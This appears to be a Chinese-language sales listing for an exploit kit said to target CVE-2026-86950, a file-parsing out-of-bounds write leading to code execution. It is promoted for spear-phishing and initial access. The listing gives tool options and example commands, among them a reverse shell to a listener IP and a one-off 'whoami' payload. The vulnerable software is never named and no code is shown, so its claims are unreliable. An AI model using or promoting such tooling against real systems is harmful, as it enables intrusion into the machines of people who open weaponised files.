CVE-2026-86950 / EUVD-2026-88445 - 文件处理越界写入 RCE

描述

CVE-2026-86950（CWE-787）。 在解析特制文件时发生越界写入。对大小/偏移字段缺少边界检查，导致目标应用程序处理该文件时可被控制地破坏堆内存。

未认证攻击者投递该文件（电子邮件、下载、共享）。需要用户交互（打开/处理）。代码以解析应用程序的权限执行。

适用于红队钓鱼/鱼叉式钓鱼行动、端点初始访问，以及无需网络认证的受控代码执行。

漏洞利用

下载

要求

• Python 3.10+
• 处理存在漏洞文件格式的目标应用程序（常见文档/图像查看器）
• 攻击方无需特殊权限

功能

• 生成可触发越界写入的单个恶意文件
• 受控的堆内存破坏，进而实现任意代码执行
• 载荷选项：反向 shell、命令执行、内存加载器
• 占用极小——无需额外的投放器
• 适用于标准文件投递方式（电子邮件附件、浏览器下载、网络共享）

安装

购买后你将收到完整软件包归档。 解压并安装依赖：

pip install -r requirements.txt

用法

python exploit.py [options]
  -o, --output       <file>          Output malicious file (required)
  -p, --payload      <type>          reverse | cmd | custom (default: reverse)
  -L, --lhost        <ip>            Listener IP (for reverse)
  -P, --lport        <port>          Listener port (for reverse)
  -c, --cmd          <command>       Single command to execute
  --arch             x64|x86         Target architecture (default: x64)

示例（反向 shell）：

python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444

示例（一次性命令）：

python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"

将生成的文件投递给目标。当存在漏洞的应用程序打开/处理该文件时，越界写入被触发，载荷随即执行。

许可证

仅限授权的红队/渗透测试使用。未经授权的使用属于违法行为。 完整软件包仅在购买后提供。